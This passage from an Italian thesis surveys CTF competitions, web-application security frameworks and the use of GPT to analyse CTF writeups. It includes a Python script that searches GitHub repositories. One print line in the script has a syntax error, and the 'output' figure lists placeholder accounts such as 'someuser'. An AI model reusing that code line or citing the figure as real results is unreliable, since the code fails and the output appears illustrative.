come il lavoro di squadra, la leadership e la gestione dello stress, tutte competenze essenziali per i professionisti della sicurezza. Con l'aumento dell'interesse verso la sicurezza informatica, le CTF stanno acquisendo un ruolo sempre più rilevante nei programmi di formazione professionale, fungendo da ponte tra teoria accademica e applicazione pratica.

### 2.1.6 Prospettive future e innovazioni nelle competizioni CTF

Mentre le competizioni CTF continuano a evolversi, è previsto che si avvalgano sempre più di tecnologie avanzate e approcci innovativi [2, 3]. Un trend emergente è l'uso dell'intelligenza artificiale (AI) e del machine learning [2, 3], non solo come argomenti delle sfide, ma anche come strumenti per personalizzare l'esperienza di apprendimento dei partecipanti [2, 3].

Un'altra area in rapida espansione è l'impiego della realtà virtuale (VR) e aumentata (AR) nelle CTF. Queste tecnologie potrebbero creare ambienti di simulazione più immersivi, permettendo ai partecipanti di sperimentare scenari di sicurezza informatica in un contesto quasi reale. Ciò non solo aumenterebbe l'engagement, ma fornirebbe anche una formazione più pratica su come gestire le minacce in ambienti dinamici.

Inoltre, si prevede una maggiore enfasi sulla sicurezza dei dispositivi IoT (Internet of Things) e dei sistemi critici, come le infrastrutture energetiche e i sistemi di trasporto. Le sfide CTF che simulano attacchi e difese in questi contesti diventano sempre più rilevanti, data la crescente interconnessione di tali sistemi nella vita quotidiana.

Un altro aspetto chiave sarà l'integrazione di problemi di sicurezza non convenzionali, come quelli legati all'etica e alla privacy. Questo sposterà il focus dalle sole competenze tecniche a una comprensione più ampia delle implicazioni sociali e morali della sicurezza informatica.

Infine, è probabile che vedremo una maggiore collaborazione internazionale nelle CTF, con competizioni che uniscono partecipanti da diverse nazioni e culture. Ciò non solo aumenterà la diversità e l'inclusione, ma arricchirà anche il processo di apprendimento, esponendo i partecipanti a una varietà più ampia di approcci e prospettive.

Queste innovazioni e tendenze future non solo renderanno le competizioni CTF più coinvolgenti e pertinenti, ma contribuiranno anche a preparare i professionisti della sicurezza informatica ad affrontare le sfide emergenti in un mondo sempre più connesso e tecnologicamente avanzato.

## 2.2 Web application security

In questa sottosezione, ci concentreremo su una delle sfide più significative nel campo della sicurezza informatica: le vulnerabilità nelle applicazioni web. La sicurezza delle applicazioni web è cruciale in quanto queste applicazioni sono spesso esposte su Internet, rendendole bersagli attraenti per gli aggressori.

### 2.2.1 OWASP top 10: principali vulnerabilità web

La lista OWASP Top 10 fornisce una panoramica completa delle vulnerabilità più comuni e critiche delle applicazioni web, come l'Injection (ad esempio, SQL injection), Cross-Site Scripting (XSS), Broken Authentication, ed Exposure of Sensitive Data. Queste vulnerabilità rappresentano le aree più frequentemente sfruttate dagli aggressori e sono un punto focale nelle strategie di difesa.

### 2.2.2 Evoluzione e tendenze attuali della sicurezza web

Con l'avvento delle architetture basate su cloud e l'ampio utilizzo di API, la sicurezza delle applicazioni web ha subito significative trasformazioni. Le innovazioni come l'integrazione della sicurezza nelle applicazioni cloud e l'automazione dei processi di sicurezza attraverso l'intelligenza artificiale e il machine learning hanno reso necessario un approccio alla sicurezza flessibile e adattabile alle minacce in continua evoluzione [4].

### 2.2.3 Gestione delle vulnerabilità: DevSecOps

Ad esempio, attacchi come il famoso Heartbleed hanno evidenziato la criticità delle vulnerabilità di sicurezza in applicazioni web diffuse. Per mitigare rischi come la SQL Injection, l'uso di query parametrizzate e ORM si è dimostrato efficace. Nel caso del XSS, strategie come la sanificazione dell'input e l'adozione di Content Security Policy (CSP) sono diventate standard di difesa [5].

L'integrazione della sicurezza in ogni fase dello sviluppo del software, da DevSecOps alla revisione del codice e all'analisi statica, è diventata una prassi fondamentale. Questi approcci assicurano che la sicurezza sia una considerazione costante e non un aspetto aggiunto solo alla fine dello sviluppo [6].



### **2.2.4 Ruolo formativo delle competizioni CTF nella sicurezza web**

Le competizioni CTF svolgono un ruolo fondamentale nella formazione e nell'educazione sulla sicurezza delle applicazioni web. Attraverso queste sfide, i partecipanti sono esposti a scenari realistici che simulano vulnerabilità comuni, come quelle elencate nell'OWASP Top 10, fornendo una formazione pratica indispensabile e aiutando a sviluppare una mentalità di sicurezza proattiva.

### **2.2.5 Strategie di test e difesa per le applicazioni web**

I test di sicurezza, sia manuali che automatici, sono fondamentali nell'identificare e mitigare le vulnerabilità delle applicazioni web. Questi test coprono aspetti critici come la logica di business, la validazione dell'input, la codifica dell'output, l'autenticazione e l'autorizzazione. Inoltre, le misure preventive per contrastare attacchi noti sono essenziali [4, 5, 6].

### **2.2.6 Preparazione e risposta agli incidenti di sicurezza**

Avere piani di risposta agli incidenti e di continuità operativa è vitale. Questi piani aiutano le organizzazioni a prepararsi e rispondere efficacemente agli incidenti di sicurezza, assicurando la continuità delle operazioni e la resilienza del business.

### **2.2.7 Approccio olistico nella sicurezza delle applicazioni web**

In conclusione, la sicurezza delle applicazioni web richiede un approccio olistico che consideri sia le minacce emergenti sia le pratiche consolidate. La partecipazione a competizioni CTF, l'adozione di strategie di test e difesa complete, e la preparazione per la risposta agli incidenti sono tutti elementi chiave per rafforzare la sicurezza delle applicazioni web nel panorama digitale moderno.

## **2.3 Comportamento nella sicurezza informatica**

Il comportamento umano è un intricato intreccio di azioni, reazioni e interazioni che emergono in risposta a una vasta gamma di stimoli, sia interni che esterni. Ogni persona, in modo conscio o inconscio, manifesta comportamenti che sono il prodotto di un complesso insieme di influenze: il contesto sociale, l'ambiente culturale, le esperienze vissute e le condizioni psicologiche giocano un ruolo fondamentale. In ambito psicologico, l'analisi

del comportamento serve a svelare le motivazioni sottostanti, le emozioni e i processi decisionali che guidano un individuo.

### **2.3.1 Psicologia degli attaccanti**

È importante comprendere che il comportamento non è solo una manifestazione individuale, ma è anche modellato dal contesto in cui si verifica. Questo aspetto assume particolare importanza quando si analizza il comportamento degli attaccanti in ambito di sicurezza informatica. Gli attaccanti, analogamente a qualsiasi altro individuo, sono motivati da obiettivi specifici, e il loro comportamento è un riflesso di queste intenzioni.

### **2.3.2 Analisi del comportamento degli attaccanti**

Nell'ambito della sicurezza informatica, capire il comportamento degli attaccanti è vitale per prevenire e contrastare le minacce in modo efficace. Analizzando i modelli comportamentali, le motivazioni e le tecniche utilizzate dagli aggressori, i professionisti della sicurezza possono elaborare strategie di difesa più mirate e robuste.

Esaminare i comportamenti degli attaccanti e le loro metodologie di attacco è utile per individuare e comprendere le tattiche utilizzate, permettendo lo sviluppo di difese più efficaci. Non solo le azioni tecniche, ma anche le motivazioni, gli obiettivi e i modelli psicologici che guidano queste azioni sono cruciali in questa analisi [7]. Una comprensione approfondita di come gli attaccanti pianificano ed eseguono gli attacchi, e di come si adattano alle strategie difensive, è indispensabile.

### **2.3.3 Evoluzione delle tecniche di attacco**

È fondamentale comprendere come le tecniche degli attaccanti si evolvano in risposta alle strategie di sicurezza avanzate. Questa interazione continua di azione e reazione è un elemento chiave nella sicurezza informatica. I cambiamenti nel comportamento degli attaccanti possono variare da adattamenti sottili, finalizzati a eludere specifici sistemi di rilevamento, a cambiamenti più significativi, come lo sviluppo di nuove strategie in risposta alle tecnologie difensive emergenti.

### **2.3.4 Ruolo delle tassonomie nella comprensione degli attacchi**

Un approccio basato sul comportamento consente di creare un ecosistema di sicurezza più resiliente, preparato a fronteggiare le sfide del panorama informatico in costante mutamento. In questo scenario, le tassonomie nel campo della sicurezza informatica assumono un ruolo

cruciale. Fornendo un sistema strutturato per classificare e comprendere varie minacce, esse facilitano l'identificazione e la categorizzazione dei comportamenti degli attaccanti [7].

### **2.3.5 Contributo dell'IA nell'analisi comportamentale**

L'avvento dell'intelligenza artificiale (AI) e dell'apprendimento automatico apre nuove prospettive nell'analisi comportamentale in sicurezza informatica. L'AI può essere utilizzata per identificare schemi comportamentali complessi e prevedere possibili mosse degli attaccanti, migliorando notevolmente l'efficacia delle strategie di difesa. Inoltre, l'integrazione di queste tecnologie avanzate promette di trasformare il modo in cui si valutano e si contrastano le minacce informatiche, rendendo le difese più agili e adattive di fronte alle tecniche di attacco in evoluzione.

## **2.4 Tassonomie nella sicurezza informatica**

Il concetto di tassonomia, che trova le sue radici nella scienza biologica, è essenziale per comprendere l'organizzazione e la classificazione in molti campi del sapere. Nel suo senso più ampio, la tassonomia si occupa di categorizzare e organizzare entità basandosi su caratteristiche, relazioni e principi sistematici. Questo processo di classificazione, originariamente sviluppato per catalogare e comprendere la diversità biologica, si è dimostrato un potente strumento analitico anche in altri settori, come quello della sicurezza informatica.

Nel campo della sicurezza informatica, le tassonomie assumono un ruolo determinante. Qui, la tassonomia è utilizzata non solo per classificare attacchi e vulnerabilità, ma anche per mappare complesse reti di informazioni e interazioni. In un settore in cui le minacce sono in costante evoluzione e i modelli di attacco diventano sempre più sofisticati, una tassonomia ben strutturata offre un quadro essenziale per comprendere e navigare in questo panorama complesso.

### **2.4.1 Tassonomia per categorizzare comportamenti e attacchi**

La classificazione dei comportamenti degli attaccanti è particolarmente importante nel campo della sicurezza informatica. Capire le metodologie, le motivazioni e le strategie degli aggressori è fondamentale per sviluppare difese efficaci. Una tassonomia ben progettata aiuta a decomporre e analizzare questi comportamenti in modo sistematico, facilitando l'identificazione di pattern ricorrenti e tendenze emergenti. Questa comprensione approfondita permette ai professionisti della sicurezza di prevedere e neutralizzare potenziali attacchi, migliorando così la resilienza e la reattività dei sistemi di sicurezza.

MITRE ATT&CK e D3FEND rappresentano due pilastri fondamentali nel campo della sicurezza informatica moderna.

### **2.4.2 MITRE ATT&CK: analisi delle tattiche degli attaccanti**

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) è un framework globale che elenca e descrive le varie tattiche, tecniche e procedure (TTP) utilizzate dagli aggressori cyber. Esso fornisce una guida dettagliata, sistematica e aggiornata sui metodi d'attacco, offrendo ai professionisti della sicurezza un linguaggio comune e una conoscenza approfondita delle minacce emergenti e delle strategie di attacco più diffuse. Questa tassonomia è diventata un riferimento indispensabile per le organizzazioni che mirano a comprendere meglio le minacce e ad adottare misure di difesa basate sui comportamenti reali degli attaccanti [7].

### **2.4.3 MITRE D3FEND: strategie di contrasto e difesa**

D3FEND, d'altra parte, si focalizza sull'aspetto difensivo della sicurezza informatica, complementando il framework ATT&CK. Questo strumento si concentra su come le organizzazioni possono difendersi dalle tecniche identificate in ATT&CK. Offre una panoramica delle contromisure e delle pratiche difensive efficaci, supportando le organizzazioni nel rafforzamento delle loro posture di sicurezza. D3FEND guida nella creazione di strategie di difesa, dalla prevenzione della penetrazione fino al rilevamento e alla risposta agli incidenti. Esso permette ai professionisti della sicurezza di anticipare le mosse degli aggressori e di implementare difese mirate che sono direttamente correlate alle tecniche d'attacco documentate nel framework ATT&CK [7].

### **2.4.4 Interazione e sinergia tra MITRE ATT&CK e D3FEND**

L'utilizzo congiunto di MITRE ATT&CK e D3FEND trasforma l'approccio alla sicurezza informatica da reattivo a proattivo. Il framework ATT&CK, con il suo focus sull'analisi comportamentale degli attaccanti e sulle tecniche di attacco, consente alle organizzazioni di comprendere meglio le minacce a cui sono esposte. Inoltre, fornisce informazioni vitali per lo sviluppo di simulazioni di attacco e esercitazioni di red teaming, che sono cruciali per testare l'efficacia delle misure di sicurezza [7].

D3FEND, offrendo strategie e tattiche di risposta, consente alle organizzazioni di sviluppare difese solide e misurate [7]. Questo include non solo la protezione dei sistemi e delle reti ma anche la formazione del personale, la creazione di politiche di sicurezza robuste e la pianificazione di risposta agli incidenti.

In sintesi, l'interazione tra MITRE ATT&CK e D3FEND fornisce una base solida per un approccio alla sicurezza informatica che è sia informato che agile. Permette alle organizzazioni di rimanere un passo avanti rispetto agli attaccanti, migliorando continuamente le loro difese in base alle evoluzioni nel panorama delle minacce. Questo doppio approccio è particolarmente prezioso in un'epoca caratterizzata da minacce informatiche sempre più sofisticate e mutevoli, rendendo MITRE ATT&CK e D3FEND risorse indispensabili per qualsiasi professionista della sicurezza informatica.

#### 2.4.5 OWASP Web Security Testing Guide: testing di sicurezza

Il “Web Security Testing Guide” (WSTG) dell'OWASP si configura come uno strumento fondamentale per i professionisti della sicurezza che operano nel settore delle applicazioni web. Fornendo una tassonomia dettagliata delle vulnerabilità web e delle tecniche di testing associate, il WSTG aiuta nella precisa identificazione e mitigazione dei rischi di sicurezza delle applicazioni. Questa guida sottolinea l'importanza di un approccio proattivo alla sicurezza: conoscere in anticipo le potenziali vulnerabilità e intervenire tempestivamente per mitigarle è cruciale per proteggere le informazioni sensibili e le infrastrutture critiche.

Il WSTG copre un'ampia gamma di aree di test, includendo autenticazione, gestione delle sessioni, configurazione di sicurezza, input validation e molti altri aspetti cruciali della sicurezza delle applicazioni web. La metodologia di test proposta dalla guida è strutturata per garantire un'analisi esaustiva delle applicazioni web, dalla fase di pianificazione fino alla fase di reporting.

La guida fornisce esempi pratici e casi di studio che aiutano i tester di sicurezza a comprendere meglio come applicare le tecniche in scenari reali. Questi esempi vanno dalla simulazione di attacchi comuni fino alle tecniche avanzate di testing, offrendo così una formazione pratica e approfondita.

Essendo un progetto open-source gestito dalla comunità OWASP, il WSTG è in continuo aggiornamento per tenere il passo con le nuove minacce e tecnologie emergenti. Questo assicura che la guida rimanga rilevante e efficace nel tempo. Inoltre, la comunità di OWASP fornisce un supporto prezioso, permettendo ai professionisti di condividere esperienze e best practice.

In ultima analisi, il OWASP Web Security Testing Guide contribuisce significativamente a elevare lo standard generale di sicurezza delle applicazioni web. È uno strumento essenziale non solo per identificare e mitigare le vulnerabilità, ma anche per sviluppare una comprensione più profonda delle sfide di sicurezza in un mondo digitale in rapida evoluzione.

## 2.5 Natural Language Processing (NLP)

Il Natural Language Processing (NLP) è una branca dell'intelligenza artificiale che si occupa dell'interazione tra computer e linguaggio umano, con l'obiettivo di consentire ai computer di comprendere, interpretare e manipolare il linguaggio naturale. Questo campo combina elementi di informatica, linguistica e data science per elaborare e analizzare grandi quantità di dati linguistici. Il NLP utilizza algoritmi complessi per estrarre significati, sentimenti, e relazioni dai testi, trasformando il linguaggio non strutturato in dati strutturati e analizzabili. Recentemente, le architetture basate su Transformer, come BERT e le sue varianti, hanno portato progressi significativi in questo campo, sebbene presentino limitazioni teoriche nel trattamento di certe tipologie di informazioni, in particolare nell'elaborazione di sintassi, semantica e negazioni [8, 9, 10].

### 2.5.1 Storia ed evoluzione del NLP

Nel panorama attuale del NLP, la ricerca si sta espandendo rapidamente in vari domini, dallo studio della semantica e della linguistica a campi apparentemente distanti come la cybersecurity e la chimica [10]. L'interesse crescente verso il NLP si riflette nell'aumento di ricerche e applicazioni che spaziano in diversi settori. Una sfida significativa nel campo è rappresentata dalla necessità di trattare e analizzare grandi volumi di testi, spesso in lingue diverse. Ad esempio, l'inglese rimane la lingua più studiata, seguita da cinese, tedesco, francese e spagnolo [10]. Inoltre, dataset come Wikipedia, Twitter, Facebook e WordNet sono ampiamente utilizzati nelle ricerche NLP, a testimoniare l'importanza dei social media e delle enciclopedie online come fonti di dati linguistici [10].

### 2.5.2 Fondamenti teorici e pratici del NLP

Questa sezione esplorerà i fondamenti teorici e pratici del NLP, analizzando come le tecniche di elaborazione del linguaggio siano diventate cruciali nell'epoca dei big data per estrarre informazioni utili da enormi volumi di dati testuali [10]. Viene esaminata l'efficacia dei modelli Transformer in compiti specifici di segmentazione ed etichettatura di segmenti, evidenziando come modifiche semplici a questi modelli possano portare a miglioramenti significativi [11, 10]. Inoltre, si discute della necessità di aggiungere nuove caratteristiche a tali architetture per aumentarne l'espressività, come una migliore gestione della lunghezza delle sequenze, l'integrazione di conoscenze esterne, e la combinazione di rappresentazioni simboliche e distribuite [10].

### 2.5.3 Ruolo del NLP nelle competizioni CTF

Nel contesto delle competizioni Capture The Flag (CTF), il NLP si rivela uno strumento prezioso nell'analisi dei writeup, ovvero delle descrizioni dettagliate fornite dai partecipanti su come hanno risolto le varie sfide. L'uso del NLP in questo ambito può aiutare a identificare schemi comuni, tecniche utilizzate, e strategie vincenti.

### 2.5.4 Innovazioni e applicazioni dei modelli Transformer

Un approccio innovativo nel campo del NLP è rappresentato dall'uso dei modelli basati su Transformer per la summarization, il topic modeling e la classificazione del testo [11, 12, 8, 9]. Questi modelli, noti per la loro capacità di catturare relazioni complesse e contesti estesi nei dati linguistici, hanno rivoluzionato il modo in cui vengono gestiti questi compiti.

### 2.5.5 Prospettive future e impatti rivoluzionari del NLP

In conclusione, l'integrazione dei modelli basati su Transformer nel NLP ha portato a un salto qualitativo nella capacità di analizzare, comprendere e manipolare il linguaggio umano [11, 12, 8, 9]. Questi avanzamenti aprono la strada a nuove ed entusiasmanti applicazioni del NLP, che spaziano dalla comprensione approfondita dei testi alla creazione di interazioni più naturali e intuitive tra uomo e macchina. La summarization, il topic modeling e la classificazione del testo sono solo alcune delle aree in cui i modelli basati su Transformer stanno dimostrando il loro impatto rivoluzionario.

Nella summarization, i modelli Transformer sono in grado di generare riassunti concisi ed efficaci di testi lunghi, preservando i punti chiave e il significato generale del testo originale. Questo è particolarmente utile in ambiti come il monitoraggio dei media o la revisione di documenti legali e scientifici, dove è necessario condensare grandi quantità di informazioni in forma breve e comprensibile.

Nel topic modeling, l'approccio basato su Transformer ha permesso una più accurata identificazione e categorizzazione dei temi presenti nei testi. Questo si traduce in una migliore comprensione delle tendenze e dei pattern nei grandi dataset, come quelli provenienti dai social media o dalle pubblicazioni accademiche.

Infine, nella classificazione del testo, i modelli Transformer hanno dimostrato una superiore precisione nel riconoscere e categorizzare testi secondo parametri definiti, come il tono, l'argomento o l'intenzione. Questo è particolarmente rilevante in applicazioni come il filtraggio di spam, l'analisi automatizzata del servizio clienti o la moderazione dei contenuti online.

Con questi sviluppi, il NLP si sta affermando come uno strumento indispensabile in una varietà di campi, offrendo nuove opportunità per la comprensione e l'interazione con il linguaggio umano in modi sempre più sofisticati e utili.

## 2.6 Modelli avanzati di NLP e GPT

L'ascesa di OpenAI, insieme ad altre aziende pionieristiche nel campo dell'intelligenza artificiale, ha segnato una svolta significativa per l'IA accessibile all'utente medio. OpenAI, in particolare, ha rivoluzionato l'approccio all'IA, rendendo tecnologie avanzate come i modelli GPT disponibili a un pubblico più ampio. Questo approccio ha aperto nuove porte nel campo dell'Intelligenza Artificiale, democratizzando l'accesso a strumenti potenti che erano precedentemente riservati a ricercatori e sviluppatori con risorse significative. L'impatto di OpenAI e simili aziende non si limita solo allo sviluppo di tecnologie avanzate ma si estende all'abbattimento delle barriere all'accesso, favorendo l'innovazione e l'esplorazione in diversi settori.

### 2.6.1 GPT: innovazioni nel NLP e applicazioni pratiche

GPT, acronimo di Generative Pre-trained Transformer, rappresenta una classe rivoluzionaria di modelli di linguaggio basati su reti neurali di grandi dimensioni, che hanno segnato un punto di svolta nel campo del Natural Language Processing (NLP) [13, 14]. Sviluppati da OpenAI, i modelli come GPT-3 e la sua evoluzione GPT-4, hanno dimostrato capacità sorprendenti nel generare testo, comprendere il contesto, rispondere a domande, tradurre lingue e persino assistere nella programmazione [13, 14]. ChatGPT, un'applicazione pratica di questi modelli, si è distinto come un'interfaccia conversazionale avanzata, capace di interagire in modo naturale e intuitivo con gli utenti, trovando applicazioni in numerosi campi dall'assistenza clienti all'educazione [13, 14].

### 2.6.2 Versatilità di GPT: applicazioni interdisciplinari

L'impiego di GPT e ChatGPT si estende ben oltre l'ambito del NLP tradizionale [13, 14]. Questi modelli hanno trovato applicazioni in una varietà di settori, inclusi il marketing, la salute, la finanza, e naturalmente, la sicurezza informatica [13, 14]. Nell'ambito educativo, per esempio, questi strumenti vengono utilizzati per sviluppare esperienze di apprendimento personalizzate e interattive [13, 14]. Nel settore sanitario, assistono nella comprensione e nell'analisi di grandi volumi di dati medici, mentre nel marketing, contribuiscono alla creazione di contenuti e all'analisi delle tendenze del consumatore [13, 14].



### **2.6.3 GPT per l'analisi dei writeup delle competizioni CTF**

Nel contesto specifico delle competizioni Capture The Flag (CTF), i modelli avanzati come GPT-3 e GPT-4 possono giocare un ruolo cruciale. La capacità di questi modelli di analizzare, comprendere e sintetizzare grandi quantità di testo li rende strumenti ideali per esaminare i writeup delle CTF. Attraverso l'analisi dettagliata di queste documentazioni, GPT-3 e GPT-4 possono identificare pattern ricorrenti, strategie utilizzate dagli attaccanti e potenziali vulnerabilità. Questo non solo fornisce una comprensione più profonda delle tecniche impiegate ma può anche guidare lo sviluppo di future sfide CTF, rendendole più vicine alla realtà e alle minacce attuali.

Inoltre, l'impiego di questi modelli avanzati nell'analisi dei writeup delle CTF apre nuove possibilità nella formazione dei professionisti della sicurezza. Attraverso simulazioni basate sui dati raccolti e analizzati, si possono creare scenari di addestramento più rilevanti e mirati, aumentando la preparazione e la competenza dei professionisti nel rilevare e rispondere agli attacchi informatici. Questo approccio basato sui dati permette di affinare le strategie di sicurezza e di formazione, adeguandole alle minacce in continuo mutamento nel panorama della sicurezza informatica.

### **2.6.4 Impatti e futuro di GPT nella sicurezza informatica**

In conclusione, i modelli avanzati di NLP, come GPT-3 e GPT-4, stanno rivoluzionando non solo il campo del trattamento del linguaggio naturale, ma anche quello della sicurezza informatica. L'innovativo impiego di queste tecnologie nelle competizioni CTF dimostra il loro potenziale nel contribuire significativamente alla sicurezza informatica, sia in termini di analisi e comprensione delle minacce, sia nella formazione e preparazione dei professionisti del settore. L'evoluzione e l'espansione di questi modelli IA continueranno a svolgere un ruolo chiave nel plasmare il futuro dell'interazione uomo-macchina e nella gestione dei dati in un mondo sempre più guidato dalla tecnologia.

## Capitolo 3

# Metodologia

### 3.1 Raccolta dei dati

La raccolta di dati assume un ruolo imprescindibile nel contesto di questa ricerca sulle tassonomie comportamentali degli attaccanti nelle competizioni CTF. Questo processo, benché non implichi un addestramento di modelli di Intelligenza Artificiale nel senso convenzionale, è fondamentale per garantire l'efficacia dell'interpretazione e delle analisi effettuate da GPT. Di seguito si esaminano alcuni aspetti salienti che evidenziano l'importanza della raccolta dati in questa particolare ricerca.

#### 3.1.1 Importanza della raccolta dati

Una raccolta dati attenta e diversificata aiuta a minimizzare i bias e gli errori di interpretazione. La selezione oculata delle fonti e la varietà dei dati raccolti sono essenziali per assicurare un'analisi equilibrata e priva di pregiudizi involontari.

Dati di buona qualità e ben organizzati migliorano la precisione e l'affidabilità delle interpretazioni fornite da GPT. La qualità, la varietà e la completezza dei dati influenzano direttamente la capacità di GPT di fornire analisi accurate e pertinenti.

Una raccolta dati efficace non solo beneficia l'analisi corrente, ma diventa anche una risorsa preziosa per la ricerca futura. Infatti, condividendo set di dati dettagliati e ben documentati, si facilitano eventuali ulteriori studi nel campo della sicurezza informatica e dell'intelligenza artificiale.

### 3.1.2 Scelta di GitHub come fonte di dati

L'adozione di GitHub come principale fonte per i writeup delle competizioni di Capture The Flag si basa su una serie di considerazioni strategiche e pratiche. GitHub, rinomato per l'hosting di codice sorgente, si è rivelato un archivio efficace anche per documenti e report legati a sfide tecnologiche come le competizioni CTF. Questa scelta è stata motivata da vari fattori chiave.

GitHub si distingue per la sua ampia accessibilità e visibilità all'interno di una comunità estesa di sviluppatori, esperti di sicurezza e appassionati di tecnologia. Ciò assicura che i writeup siano facilmente reperibili e accessibili ad un vasto pubblico interessato.

I writeup su GitHub sono spesso caratterizzati da un'ottima organizzazione e strutturazione. La chiarezza della documentazione e una categorizzazione efficace facilitano significativamente la ricerca e la selezione dei documenti per l'analisi.

La piattaforma è rinomata per la sua affidabilità e per la frequente attualizzazione dei contenuti. Questo garantisce che i writeup reperiti siano non solo aggiornati, ma anche di alta qualità e pertinenza.

Molti autori di writeup su GitHub forniscono spiegazioni dettagliate e approfondimenti sulle loro strategie e soluzioni, rendendo la piattaforma una risorsa educativa inestimabile per approfondire le tecniche e i metodi impiegati nelle sfide CTF.

#### Motivazioni per la scrittura e la conservazione dei writeup CTF su GitHub

La pratica di scrittura e archiviazione dei writeup delle competizioni CTF su piattaforme come GitHub si basa su motivazioni che abbracciano sia l'apprendimento personale che la condivisione collettiva di conoscenze. Questa pratica si rivela fondamentale per diversi aspetti, sia per i singoli partecipanti che per la comunità di sicurezza informatica più ampia.

La stesura di writeup rappresenta per i partecipanti un modo per documentare le proprie esperienze, le riflessioni e le strategie adottate per risolvere le sfide CTF. Questo processo non solo aiuta a consolidare la conoscenza acquisita, ma offre anche un riferimento utile per future sfide, fungendo da diario personale delle competenze e delle scoperte fatte.

Pubblicare i writeup su GitHub è un modo efficace per gli autori di condividere le proprie tecniche e soluzioni con un pubblico più ampio. Questa condivisione promuove l'apprendimento collaborativo, stimolando l'innovazione e la crescita all'interno della comunità di sicurezza informatica.

I writeup su GitHub fungono anche da portfolio che dimostra le competenze e l'esperienza degli autori nel risolvere complesse sfide di sicurezza. Questo aspetto è particolarmente

utile per scopi professionali, come la ricerca di opportunità lavorative o l'evidenziazione di abilità specifiche.

La pubblicazione dei writeup incoraggia il feedback e la discussione tra pari. Gli autori hanno l'opportunità di ricevere suggerimenti e critiche costruttive, nonché di esplorare alternative agli approcci utilizzati, ampliando così le loro conoscenze e abilità nel settore.

Infine, i writeup servono come risorse educative di grande valore per coloro che sono nuovi nel campo o che desiderano approfondire aree specifiche della sicurezza informatica. Questi documenti, con i loro esempi pratici e contestualizzati, spesso risultano più impattanti di un apprendimento puramente teorico.

### **3.1.3 Utilizzo delle API di Github per la selezione dei repository**

Sebbene non siano state impiegate per il download diretto dei dati, le Application Programming Interfaces (API) di GitHub sono state utilizzate per identificare e selezionare in modo efficiente i repository di GitHub contenenti i writeup rilevanti. Questa selezione mirata ha gettato le basi per un'analisi accurata e dettagliata.

Le API funzionano come intermediari tra applicazioni diverse, facilitando lo scambio di informazioni. Nel contesto di questa ricerca, hanno permesso una selezione dati efficace e mirata. Hanno infatti automatizzato il processo di identificazione dei repository pertinenti, facilitando la selezione tra un ampio volume di dati.

Sono state utilizzate le API per definire le parole chiave per selezionare solo i repository più rilevanti, così da ottimizzare il tempo dedicato alla ricerca.

#### **Script Python per la selezione dei repository**

È stato sviluppato un semplice script Python che sfrutta le API di GitHub per identificare in modo veloce i repository con writeup di CTF. La funzione principale dello script ha permesso di cercare specifici repository GitHub basandosi su termini di ricerca definiti. In seguito alle risposte positive dalle API, lo script ha estratto informazioni utili come nome, descrizione e URL di ogni repository selezionato.

### **3.1.4 Selezione manuale e download dei repository**

Dopo la prima identificazione dei repository di GitHub tramite le API e lo script Python, una fase di selezione ulteriore manuale si è rivelata indispensabile. Questa fase approfondita ha permesso di affinare il focus sui contenuti veramente rilevanti, determinante per l'accuratezza e la pertinenza delle analisi successive.

```
1 import requests
2 from secrets import github_token
3
4
5 def select_github_repositories(query, max_repos=25):
6     headers = {
7         "Authorization": f"token {github_token}",
8         "Accept": "application/vnd.github.v3+json",
9     }
10
11     # Form the search query URL
12     search_url = (
13         f"https://api.github.com/search/repositories?q={query}+in:readme+in:description"
14     )
15
16     # Make the request to GitHub API
17     response = requests.get(search_url, headers=headers)
18
19     if response.status_code == 200:
20         results = response.json()
21         repos = results["items"][:max_repos]
22
23         for repo in repos:
24             print(f"Repository Name: {repo['name']}")
25             print(f>Description: {repo['description']}")
26             print(f"URL: {repo['html_url']}\n")
27     else:
28         print("Failed to retrieve data.. Status code:", response.status_code)
29
30
31 # Searching for web application CTF writeups
32 select_github_repositories("web+application+CTF+writeup")
```

**Figura 3.1:** Raccolta dei dati - Script Python: utilizzo API di GitHub (selezione repository)

La selezione manuale dei repository è servita per assicurare che i contenuti dei repository fossero direttamente legati al tema della sicurezza delle applicazioni web nelle CTF. Questo ha impedito di includere dati non pertinenti o fuorvianti in questa analisi. Questo passaggio ha permesso di verificare la qualità dei writeup, assicurando che fossero dettagliati, accurati e utili per lo scopo della ricerca. Alcuni repository, sebbene identificati tramite le API, contenevano informazioni ripetitive o non rilevanti per il presente studio. La selezione manuale ha eliminato questi elementi, mantenendo il focus sul materiale più significativo.

### Criteri di selezione adottati

- Lingua dei contenuti. L'attenzione è stata focalizzata sui repository con writeup esclusivamente in inglese, per garantire la comprensibilità e l'accessibilità del materiale analizzato.

```
Repository Name: Web-CTF-Cheatsheet
Description: Cheatsheet for web application CTF challenges
URL: https://github.com/edoardottt/Web-CTF-Cheatsheet

Repository Name: CTF-Web-Challenges
Description: A collection of CTF challenges for learning web application security
URL: https://github.com/someuser/CTF-Web-Challenges

Repository Name: WebSec101
Description: Web Security 101 - A guide and writeups for web application CTFs
URL: https://github.com/anotheruser/WebSec101

Repository Name: CaptureTheFlag-Toolkit
Description: Toolkit for CTF challenges focusing on web application security
URL: https://github.com/ctfuser/CaptureTheFlag-Toolkit

Repository Name: WebAppSec-CTF
Description: A repository of web application security challenges and writeups
URL: https://github.com/websecmaster/WebAppSec-CTF
```

**Figura 3.2:** Raccolta dei dati - Output script Python: utilizzo API di GitHub (selezione repository)

- Rilevanza tematica. Sono stati selezionati i repository specifici sulle sfide CTF legate alla sicurezza delle applicazioni web, assicurandomi che i contenuti fossero in linea con l'argomento di questa ricerca.
- Qualità del materiale. È stata valutata la qualità dei writeup presenti in ciascun repository, prediligendo quelli che offrivano una documentazione tecnologicamente approfondita e ben strutturata.
- Attinenza con le competizioni CTF. È stato effettuato un controllo sui repository selezionati affinché fossero effettivamente legati a competizioni CTF, scartando quelli che, nonostante le parole chiave corrispondenti, non erano pertinenti al contesto desiderato.

Il risultato di questa fase di selezione manuale ha notevolmente affinato l'elenco iniziale dei repository, includendo solo quelli che presentavano dati davvero di interesse.

### Utilizzo di DownGit per scaricare i repository

DownGit si è rivelato uno strumento utile nella presente ricerca sui CTF writeup, agevolando il processo di scaricamento dei contenuti specifici da GitHub. Questo strumento online ha offerto una soluzione efficiente e diretta per accedere ai file di interesse senza la necessità di scaricare interi repository.

Utilizzare DownGit ha fornito i seguenti vantaggi:

- Semplicità d'uso. DownGit, con la sua interfaccia intuitiva, ha permesso di scaricare file e cartelle in modo rapido e senza l'impiego di complessi comandi Git.
